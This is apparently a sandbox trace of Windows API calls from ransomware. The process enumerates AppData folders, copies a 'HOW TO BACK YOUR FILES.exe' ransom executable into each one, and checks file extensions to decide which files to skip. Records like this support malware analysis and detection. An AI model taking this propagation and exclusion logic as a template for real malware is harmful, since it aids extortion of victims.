	[0043.862] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.867] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32372d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32372d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.867] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.867] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.867] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="si" | out: lpString1="si") returned="si"
	[0043.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5994f0
	[0043.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.867] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0
	[0043.867] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.867] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.867] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si"
	[0043.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0043.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si") returned 73
	[0043.867] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si"
	[0043.867] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\si\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.872] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.872] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32398e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32398e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.872] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.872] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.872] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security"
	[0043.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.872] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security") returned 75
	[0043.872] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security"
	[0043.873] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\security\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.879] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.879] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32398e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32398e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.879] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.879] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.879] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU"
	[0043.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0043.879] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.879] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned 58
	[0043.879] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU"
	[0043.879] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.879] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.886] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.886] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x32398e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32398e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.886] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.886] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.886] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="au.cab" | out: lpString1="au.cab") returned="au.cab"
	[0043.886] lstrlenW (lpString="au.cab") returned 6
	[0043.886] lstrlenW (lpString="Apollon865") returned 10
	[0043.886] lstrlenW (lpString=".dll") returned 4
	[0043.886] lstrcmpiW (lpString1="au.cab", lpString2=".dll") returned 1
	[0043.886] lstrlenW (lpString=".lnk") returned 4
	[0043.886] lstrcmpiW (lpString1="au.cab", lpString2=".lnk") returned 1
	[0043.886] lstrlenW (lpString=".ini") returned 4
	[0043.886] lstrcmpiW (lpString1="au.cab", lpString2=".ini") returned 1
	[0043.886] lstrlenW (lpString=".sys") returned 4
	[0043.886] lstrcmpiW (lpString1="au.cab", lpString2=".sys") returned 1
	[0043.887] lstrlenW (lpString="au.cab") returned 6
	[0043.887] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="au.msi" | out: lpString1="au.msi") returned="au.msi"
	[0043.887] lstrlenW (lpString="au.msi") returned 6
	[0043.887] lstrlenW (lpString="Apollon865") returned 10
	[0043.887] lstrlenW (lpString=".dll") returned 4
	[0043.887] lstrcmpiW (lpString1="au.msi", lpString2=".dll") returned 1
	[0043.887] lstrlenW (lpString=".lnk") returned 4
	[0043.887] lstrcmpiW (lpString1="au.msi", lpString2=".lnk") returned 1
	[0043.887] lstrlenW (lpString=".ini") returned 4
	[0043.887] lstrcmpiW (lpString1="au.msi", lpString2=".ini") returned 1
	[0043.887] lstrlenW (lpString=".sys") returned 4
	[0043.887] lstrcmpiW (lpString1="au.msi", lpString2=".sys") returned 1
	[0043.887] lstrlenW (lpString="au.msi") returned 6
	[0043.887] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft"
	[0043.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0043.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0043.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned 56
	[0043.887] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft"
	[0043.887] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x323befd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x323befd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.892] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.892] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.892] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="CryptnetUrlCache" | out: lpString1="CryptnetUrlCache") returned="CryptnetUrlCache"
	[0043.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0043.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0043.892] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0043.892] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x323befd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x323befd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.892] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.892] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0043.892] lstrcmpiW (lpString1="IME12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.892] lstrcmpiW (lpString1="IME12", lpString2="Apollon865.txt.exe") returned 1
	[0043.892] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IME12" | out: lpString1="IME12") returned="IME12"
	[0043.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0043.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.893] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP12", lpString2="Apollon865.txt.exe") returned 1
	[0043.893] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IMJP12" | out: lpString1="IMJP12") returned="IMJP12"
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0043.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.893] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP8_1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP8_1", lpString2="Apollon865.txt.exe") returned 1
	[0043.893] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IMJP8_1" | out: lpString1="IMJP8_1") returned="IMJP8_1"
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0043.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.893] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP9_0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.893] lstrcmpiW (lpString1="IMJP9_0", lpString2="Apollon865.txt.exe") returned 1
	[0043.893] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IMJP9_0" | out: lpString1="IMJP9_0") returned="IMJP9_0"
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0043.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0043.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0043.893] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0043.893] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.893] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0043.893] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0043.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0043.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x5994f0
	[0043.894] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0043.894] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0
	[0043.894] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.894] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0043.894] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer"
	[0043.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0043.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0043.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer") returned 74
	[0043.894] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer"
	[0043.894] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.900] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.900] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x323befd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x323befd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.901] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.901] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.901] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="DOMStore" | out: lpString1="DOMStore") returned="DOMStore"
	[0043.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0043.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5994f0
	[0043.901] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0043.901] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x323befd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x323befd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
